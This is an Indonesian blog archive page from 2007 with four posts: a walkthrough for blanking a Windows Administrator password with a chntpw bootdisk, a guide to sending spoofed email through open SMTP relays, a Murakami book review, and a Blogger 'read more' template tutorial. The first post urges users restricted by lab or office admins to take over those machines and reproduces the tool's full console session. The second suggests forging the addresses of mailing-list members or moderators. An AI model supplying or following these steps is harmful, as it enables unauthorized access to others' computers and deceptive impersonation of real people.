Arsip untuk Maret, 2007

14
Mar
07

Hacking Windows

Hacking Windows NT/2000/XP Administrator Password
By:  gmt   
Sebelum pembaca kecewa, sebelumnya saya mau menjelaskan bahwa teknik yang akan saya jelaskan disini hanya akan berhasil bila anda memiliki akses fisik ke komputer korban !!

 

Arti dari akses fisik disini adalah bila anda memiliki ijin untuk dapat memakai komputer tersebut dan terutama anda dapat memasukkan disket ke dalam komputer korban.

 

Mungkin anda termasuk orang yang terlampau dibatasi pemakaian komputernya oleh admin di lab/kantor anda, sekaranglah saatnya anda malampaui batas anda ;) Pada artikel ini anda akan belajar bagaimana menghapus password Administrator dan kemudian bisa menggantinya sesuai dengan keinginan anda.

 

Baiklah kita mulai saja, tapi sebelumnya saya mau pesan bahwa artikel ini saya tulis untuk pengetahuan semata !! Bila terjadi hal yang tidak diinginkan, itu di luar tanggung jawab saya. Hal ini perlu saya sampaikan agar jangan ada yang menuntut saya karena satu dan lain hal.

 

Yang kita butuhkan adalah sebuah Bootdisk image yang dapat didownload di http://home.eunet.no/~pnordahl/ntpasswd/bd040116.zip. Setelah didownload segera ekstrak dan jalankan file install.bat, tapi sebelumnya masukkan sebuah disket kosong ke dalam floppy disk drive anda. Ketika file install.bat dijalankan, maka sebuah floppy disk yang bootable akan dibuat. Nah, disket inilah yang akan kita gunakan untuk melakukan hack.

 

Setelah bootdisk selesai dibuat, restart komputer anda dengan membiarkan disket tadi tetap di floppy disk drive. Mungkin anda perlu mengatur boot sequence agar ketika booting yang pertama kali diboot adalah floppy disk drive.

 

Bila disket anda berhasil diboot, maka tinggal ikuti petunjuk saja. Berikut adalah cuplikan dari program tersebut : ( komentar saya akan diawali dengan tanda ‘–>’)

 

–> tampilan yang muncul pertama kali

 

****************************************************************

* This utility will enable you to change the password of almost

* any user (incl. administrator) on an Windows NT/2k/XP installation

* WITHOUT knowing the old password.

*

* The program is now able to actually parse/follow the internal

* registry structure completely.

* There is now support for adding and deleting keys and values.

* Tested on: NT3.51 & NT4: Workstation, Server, PDC.

*            Win2k Prof & Server to SP3. Cannot change AD.

*            XP Home & Prof: up to SP1

* Now also works with syskey, read warnings if applicable.

*

* You may either let the scripts try to figure out your configuration,

* or you may do it manually from the shell prompts.

*

* Good luck!

 

Press return/enter to continue

 

–> tekan enter

 

* In /etc/main.rc….

Calling scsi.rc to probe for SCSI controllers

Mounting floppy to fetch drivers from /scsi on it

SCSI-drivers found on floppy:

 

BusLogic.o.gz  aic7xxx.o.gz

 

Do you have your NT disks on a SCSI controller?

  y – this will autoprobe for the driver

  n – no, skip SCSI, I have IDE drives

  or give the scsi-driver modules name (without the .o or .gz)

  + optional parameters to go directly for a known driver

 

Probe for SCSI-drivers: [n]

 

–> tekan enter

 

Calling part.rc to select partition

Partitions found on the disk(s):

   Device Boot Start    End      Blocks    Id     System

/dev/hda1   *      1   1859    14932386     7  HPFS/NTFS

 

Probable NT partitions:

/dev/hda1   *      1   1859    14932386     7  HPFS/NTFS

Wnat partition contains your NT installation?

[/dev/hda1] : Enter

FAT: Did not find valid FSINFO signature.

Found signature1 0×66024a1e signature2 0xc88b6602 sector=4.

VFS: Can’t find a valid FAT filesystem on dev 03:01.

mount: wrong fs type, bad option, bad superblock on /deb/hda1,

       or too many mounted fil systems

/dev/hda1 is NTFS.

Trying to mount as readwrite on /mnt

NTFS volume version 3.0.

Success. Mounted NTFS /deb/hda1 on /mnt

Calling path.rc. to select path

What is the full path to the registry directory?

[winnt/system32/config] :

 

–> tekan enter

 

-rw——-  1 0       0         65536 Jan 15 09:00 AppEvent.Evt

-rw——-  1 0       0         65536 Jan 15 09:00 default

-rw——-  1 0       0         65536 Jan 15 09:00 default.LOG

-rw——-  1 0       0         65536 Jan 15 09:00 default.sav

-rw——-  1 0       0         65536 Jan 15 09:00 netlogon.ftl

-rw——-  1 0       0         65536 Jan 15 09:00 SAM

-rw——-  1 0       0         65536 Jan 15 09:00 SAM.LOG

-rw——-  1 0       0         65536 Jan 15 09:00 SecEvent.Evt

-rw——-  1 0       0         65536 Jan 15 09:00 SECURITY

-rw——-  1 0       0         65536 Jan 15 09:00 SECURITY.LOG

-rw——-  1 0       0         65536 Jan 15 09:00 software

-rw——-  1 0       0         65536 Jan 15 09:00 software.LOG

-rw——-  1 0       0         65536 Jan 15 09:00 software.sav

-rw——-  1 0       0         65536 Jan 15 09:00 SysEvent.Evt

-rw——-  1 0       0         65536 Jan 15 09:00 system.sav

-rw——-  1 0       0         65536 Jan 15 09:00 TempLey.LOG

-rw——-  1 0       0         65536 Jan 15 09:00 userdiff

-rw——-  1 0       0         65536 Jan 15 09:00 userdiff.LOG

Which hives (files) do you want to edit (leave default for

password setting, separate multiple names with spaces)

[sam system security] :

 

–> tekan enter

 

Copying sam system security to /tmp

 

Now running chntpw

chntpw version 0.99.0 030112, (c) Petter N Hagen

Hive’s name (from header) (\SystemRoot\System32\Config\Sam)

ROOT KEY at offset: 0×001020

 

File size 32768 [8000] bytes, containing 7 pages (+ 1 headerpage)

Used, for data: 319/26472 blocks/bytes, unused: 6/1976 blocks/bytes.

Hive’s name (from header): (SYSTEM)

ROOT KEY at offset: 0×001020

 

File size 2555904 [270000] bytes, containing 584 pages (+ 1 headerpage)

Used, for data: 44209/2524072 blocks/bytes, unused: 19/9048 blocks/bytes.

Hive’s name (from header): (SYSTEM)

ROOT KEY at offset: 0×001020

 

File size 49152 [c000] bytes, containing 11 pages (+ 1 headerpage)

Used, for data: 859/42568 blocks/bytes, unused: 5/2136 blocks/bytes.

Hello, this is SAM!

Failed logins before lockout is : 0

Minimum password length         : 0

Password history count          : 0

 

()========() chntpw Main Interactive Menu ()========()

Loaded hives: (sam) (system) (security)

  1 – Edit user data and passwords

  2 – Syskey status & change

      - – -

  9 – Registry editor, now with full write support!

  q – Quit (you will be asked if there is something to save)

 

What to do? [1] ->

 

–> Nah, karena kita akan mengganti password Administrator maka tekan saja enter

 

==== chntpw Edit User Info & Passwords ====

 

RID: 03f2, Username: (Administrator)

RID: 03f2, Username: (gandhi)

RID: 03f2, Username: (Guest), disabled or locked*

 

Select: ! – quit, .list users, 0x(RID) – User with RID (hex)

or simple enter the username to change: [Administrator]

 

–> tekan enter (user Administrator yang akan direset)

 

RID     : 032f

Username: Administrator

fullname:

comment :

homedir :

 

Account bits: 0×0215 =

[ ] Disabled                  | [ ] Homedir req.          | [ ] passwd not req.      |

[ ] Temp. duplicate       | [X] Normail account   | [ ] NMS account        |

[ ] Domain trust ac        | [ ] Wks trust act.         | [ ] Srv trust act            |

[X] Pwd don’t expir      | [ ] Auto lockout          | [ ] (unknown 0×08)     |

[ ] (unknown 0×10)       | [ ] (unknown 0×20)    | [ ] (unknown 0×40)     |

 

Failed login count: 0, while max tries is : 0

Total  login.count          : 7

Account is disabled

Crypted NT pw            : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Crypted LM pw           : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

MD4 hash                    : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

LANMAN hash           : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

 

* = blank the password (EXPERIMENTAL! but may fix problems)

Enter nothing to leave it unchanged

Please enter new password: *

 

-> Anda akan diminta untuk memasukkan password untuk menggantikan password Administrator, lebih baik anda langsung enter saja, yang berarti passwordnya ditinggalkan kosong.

 

Blanking password. This may actually fix things if previous password-preset

did not work. Or it may even make things worse. Happy joy!

 

Do you really wish to change it? (y/n) [n]

 

–> ketik y

 

Select: ! – quit, .list users, 0x(RID) – User with RID (hex)

or simple enter the username to change: [Administrator]

 

–> ketik !

 

()========() chntpw Main Interactive Menu ()========()

Loaded hives: (sam) (system) (security)

  1 – Edit user data and passwords

  2 – Syskey status & change

      - – -

  9 – Registry editor, now with full write support!

  q – Quit (you will be asked if there is something to save)

 

What to do? [1] ->

 

–> ketik q

 

Hives that have changed:

 # Name

 0 (sam)

Write hive files? (y/n) [n] :

 

–> ketik y

 

Calling write.rc to select write back sam file

About to write file(s) back! Do it? [n]

 

–> ketik y

 

Writing sam

* end of scripts.. returning to the shell..

* Press CTRL-ALT-DELL to reboot now (remove floppy first)

* or do whatever you want from the shell..

* However, if you mount something, remember to umount before reboot

* You may also restart the script procedure with ’sh /scripts/main.rc’

#

 

Nah, selamat ! Sekarang restart komputer anda dan anda dapat login dengan username Adminisrtator dengan mengosongkan password. Selanjutnya ? terserah anda ;)

 

pesan untuk lmt at far ui ‘02 :

10*(2*x^2+y^2+z^2-1)^3 – x^2*z^3 – 10*y^2*z^3 = 0

 

“Mathematics is the languange of the Universe”

14
Mar
07

ngirim email fake

Anda pernah mendapat kiriman email entah dari kawan atau dari siapapun dengan nama domain yang unik dan lucu ? misal : i@love-you.com, cewekku@yang-cantik.org, dll. Atau pernah mendapat e-mail suprise yang menyatakan cinta dari seorang calon kekasih tetapi tidak berani untuk mengungkapkan secara langsung (malu-malu kucing nih yee), e-mail “mak-comblang” yang isinya menyatakan cinta dan seolah-olah berasal dari calon kekasih (sebenarnya dikirim oleh pihak ketiga) seperti yang pernah dialami oleh temanku, atau terima e-mail yang asal e-mail addressnya dari e-mail address sendiri. Hal ini dapat dikerjakan oleh situs www.sendfakemail.com dengan syarat Anda harus menjadi membernya dan ini tidak gratis alias harus bayar. Terlepas dari itu, hal ini pun dapat dikerjakan oleh suatu software yang freeware alias gratisan, so tidak perlu susah payah jadi member dan bayar serta user friendly, tetapi sedikit kita direpotkan karena harus mencari SMTP Server yang open relay.
Daftar SMTP Server yang open relay yang dilihat di http://www.sendfakemail.com/fakemail/openrelaylist.asp, http://www.thebestfree.net, dan masih banyak lagi.

Apakah ada yang pernah membaca artikel dari JASAKOM tentang “Tehnik Menghancurkan Mailing List” ?. Disinilah fake e-mail address memegang peranan penting selain untuk membuat nama domain yang unik sehingga e-mail yang Anda kirim ke seseorang tidak dapat di-Reply kembali ke Anda (dengan maksud tertentu pula). Anda bisa menggunakan e-mail address salah satu member ataupun admin/moderator mailing list-nya untuk mengirimkan mail Anda, seolah-olah yang pemilik e-mail address-lah yang melakukannya (tentunya ada maksud tertentu pula).

Seperti contoh yang dapat dilihat di atas, pemakaiannya cukup mudah. Isikan SMTP Server-nya ke kolom mail server domain, terus alamat e-mail tujuan, e-mail asal (Anda boleh mengisi dengan nama domain sesuka hati Anda), pesan, attachmen jika ada, setelah itu klik “Send”. Cukup mudah bukan J .

Sebelum saya mengakhiri, ada satu pesan : Gunakan program ini hanya untuk tujuan riset dan JANGAN sekali-sekali melakukan tindakan yang merugikan orang lain. Segala resiko atas penggunaan program ini adalah sepenuhnya tanggung jawab pemakai program. Sebenarnya ada program / software yang dirancang yang cara kerjanya seperti ini yaitu dari golongan E-mail Bomber (Tidak dibahas di sini, karena tidak ada sama sekali tujuan positifnya, melainkan hanya untuk tujuan merusak).

Bagaimana untuk mendapatkan program ini bagi yang tertarik ? Penulis telah meng-upload ke mailing list JASAKOM dan bisa di download dengan alamat www.yahoogroups.com/files/jasakom dan silahkan dipergunakan dengan sebaik-baiknya J . Penulis telah mengujicoba program ini ke e-mail penulis sendiri dan berhasil. Silahkan Anda mengujucoba sendiri ke e-mail Anda sendiri sebelum membuat surprise ke seorang kawan Anda J . Sekali lagi ditekankan JANGAN digunakan untuk tujuan yang merusak atau hal-hal yang negatif lainnya.

sumber: www.jasakom.com

07
Mar
07

Norwegian Wood

Twenty years removed from his University days Toru Watanabe hears an airline back round melody of the Beatles classic Norwegian Wood and is overcome with memories.

Norwegian Wood is a wonderfully written flashback story which centers around Toru Watanabe and his extremely small inner circle of friends of his university days in 1960’s Tokyo.

Murakami writes in a refreshing style for the Western reader, it’s clean and crisp and doesn’t have any unnecessary background filler that plague some novels. All the characters, main or supporting, have a way of sticking in your mind long after putting the book down, each one is developed just as much as needed without wasted words. They are created with a very intimate feel of real people in Murakami’s own past which gives them real humanity and depth throughout.

The story is revolves around the troubled relationship between Toru and Naoko after Toru’s best friend and Naoko’s boyfriend commits suicide in their senior year of high school. The event of Kizuki’s suicide is written so memorably and yet is so simple, it is one clear uncluttered sentence. “He died that night in his garage.” This is classic Murakami style. The event that would shape the entire book is one sentence that leaves you with no direct questions because the story doesn’t depend on why it happened just that it did.

Over all Haruki Murakami has written a book that will engage all readers with such universal themes like the intensity of love, loss and confusion when one is 18 years old. At some points in the book you think that Toru is extremely self-interested and that he shouldn’t make everything so dramatic but when one looks back into their own late teens isn’t that how it is? He captures it bang on. In the end you admire Toru for his love and commitment to Naoko even when he is given a way out by the wonderfully uplifting and spunky Midori.

As the saying goes “a picture is worth a thousand words” but Murakami seems gets as close as one can possibly get to a picture with words. Toru’s emotional maturity is perfectly captured with his attention either on or off with the person in question. Toru seems to have either completely meaningless contact with people or he is so intensely occupied by them it becomes a danger for both of them.

When the book came out in 1987 (in Japanese) it was an instant classic throughout Japan because it was a breath of fresh air for contemporary literature in Japan. At first glance it comes across as just a love story, but one of the strengths of this book is the author’s subtle exploration of Japanese societal issues, such as teen suicide, mental illness and disjointed city life.

The end is a bitter sweet for Toru, for him it is two things; the beginning of a new life and the end of another one that left a deep mark on him. It is a thoroughly enjoyable book with memorable scenes and characters. The tone of the book is also good; the story is told in such a way that the characters and story were separated so that the people in it could be emotional without dragging down the story itself. Once you get into it you can’t help but read large chucks of it at a time with out stopping. All in all an enjoyable and worthwhile read.

05
Mar
07

bikin readmore

01Loginlah di blog anda
02.Klik Tab SETTING —> pilih FORMATTING
03.Geser Kebawah Cari Tulisan POST TEMPLATE disamping
tulisan ini ada sebuah kotak yang lebih besar dari kotak kotak
sebelumnya,nah pada kotak ini isikan
<span class=”fullpost”></span>
04.Klik tombol SAVE SETTING
05.Klik Setting —> ARCHIVING —> Set nilai Enable Post Pages? jadi YES
06.Klik tab TEMPLATE di bagian atas Blog Anda dan pilih EDIT HTML
07.Beri tanda centang /cek/tik menu “EXPAND WITGET TEMPLATES”
08.Cari code template yang seperti ini
<div class=’post-header-line-1′/>
<div class=’post-body’>
Dan sisipkan code di bawah ini di antara

<div class=’post-header-line-1′/> dan <div class=’post-body’>

inilah codenya :

<b:if cond=’data:blog.pageType == “item”‘>

<style>.fullpost{display:inline;}</style>

<p><data:post.body/></p>

<b:else/>

<style>.fullpost{display:none;}</style>



09.Mari kita lanjutkan ke langkah selanjutnya,di antara kode

<p><data:post.body/></p>
dan kode
<div style=’clear: both;’/> <!– clear for photos floats – -></div>
sisipkan Code berikut :

<a expr:href=’data:post.url’>Selanjutnya…</b:if>

10.Sekarang klik tombol SAVE TEMPLATE warna orange di editor template Blog anda.
11.Sekarang Saat nya memposting dengan Mode READMORE di
blogger anda,dan anda perlu perhatikan cara penulisannya
sebagai berikut.

  • Setiap anda mau memposting tulisan, pilih MODE nya sebagai
    html dengan mengklik EDIT HTML di tempat anda biasanya menulis isi blog .dan jangan pilih mode COMPOSE
  • Didalam Editor tersebut bila di pilih mode HTML kita akan
    menemui script <span class=”fullpost”> </span>
  • Untuk menampilkan tulisan sebagai tampilan depan,di blog
    yang akan di dibatasi oleh readmore, anda ketikkan sebelum
    script <span class=”fullpost”> dan disini lah isi selanjutnya
    sambungan dari tulisan anda sampai selesai dan di tutup dengan </span>
    Contoh nya :
    awal tulisan kita yang akan di di batasi dengan tulisan Readmore dan di tampilkan sebagian di depan blog anda yang keseluruhannya dapat di baca bila mengklik tulisan readmore di ketik sebelum script ini <span class=”fullpost”>dan isi lanjutannya yang akan terlihat secara keseluruhan bila di klik readmore di tulis di sini .apakah anda masih bingung. dan di akhiri dengan script yang bertulis </span>
  • untuk lebih jelasnya:

    Langkah pertama Login di blog nya inang

     

    Hingga keliatan seperti gambar berikut dan pilih LAYOUT

     

     

    Sesudah masuk LAYOUT sekarang inang pilih TAB SETTINGS? di blog inang seperti gambar di bawah ini

     

     

    Abis itu inang pilih?? FORMATTING? dan inang geser kebawah scoroll down nya sampai kelihatan gambar seperti di bawah ini

     

    Nah di kotak POST TEMPLATE inang isikan code berikut

     

    <span class=”fullpost”></span>

     

    Setelah itu inang klik Save Settings?? J hehehe

     

    Sekarang pindah ke langkah selanjutnya : )

    Masih di TAB SETTINGS ?sekarang inang pilih? ARCHIVING? .Pada bagian ENABLE POST PAGES?

    Inang pilih YES dan sesudah itu inang klik lagi SAVE SETTINGS

    ?Tampak seperti gambar di bawah ini

     

     

    LANGAKAH BERIKUTNYa /??!!!!

     

    Sekarang kita bermain main di menu TEMPLATE

     

    KLIK? TAB TEMPLATE? dan inang pilih? EDIT HTML?

    Dan inang cek box tulisan di atas editor nya yang bernada EXPAND WIDGET TEMPLATES ini fungsinya biar code code yang di hidden kelihatan oleh mata inang yang sudah berusia 35 tahun tersebut J hehehe

    Nah di sini dia intinya inang kita bermain main

     

    Sekarang kita main main di editor tersebut

    Geser ke bawah scroll down editornya inang sampai inang temukan tulisan seperti ini

    ?<style>.fullpost{display:inline;}</style>????????

    Dan script

     

    <p><data:post.body/></p>?????

     

     

    Nah di antara tulisan tersebu inang sisipkan code berikut :

     

    <p><data:post.body/></p>?????

     

    <b:else/>????????

    <style>.fullpost{display:none;}</style>

     

    Selanjutnya di bagian? antara <p><data:post.body/></p>? dan ?<div style=’clear: both;’/> <!– clear for photos floats –>

     

    Inang sisipkan code ini

     

    <a expr:href=’data:post.url’> Selanjutnya </a>

     

    </b:if>

     

    Lengkapnya dapat inang lihat seperti gambar ini

     

     

    Setelah itu inang pilih tulisan SAVE TEMPLATE

     

    Sekarang kita ke bagian posting

     

    Saat memposting inang pilih? mode nya EDIT HTML sekali lagi pilih mode edit html dan bukan mode COMPOSE bukan mode compose jelaskan inang kalo ragu lihat gambar di bawah ini

     

    Hingga inang lihat tulisan <span class=?fullpost?></span>

    Nah saat posting inang mau menampilkan sebagian tulisan di depan sebagai potongan cerita inang maka inang tulisa sebelum code <span class=?fullpost?>

    dan kelanjutannya inang ketikkan di antara? <span class=?fullpost?>? dan? </span>

     

    misalkan aku ingin membuat readmore di tulisan di bawah ini

    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

    bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

    bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

    bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

     

    yang di tampilkan di depan Cuma huruf aaaaaaaaa dan bila di klik more akan kelihatan semuanya .Caranya seperti ini

     

    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

     

    <span class=?fullpost?>?

     

    bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

    bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

    bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

     

    </span>

     

    Nah gitu dia kalo yang nampil di depan sebelum klik READMORE nya maka yang tampil Cuma huruf aaaa

    Kalo dah di klik readmore yang kelihatan semuanya seperti :

     

    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

    bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

    bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb

    bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb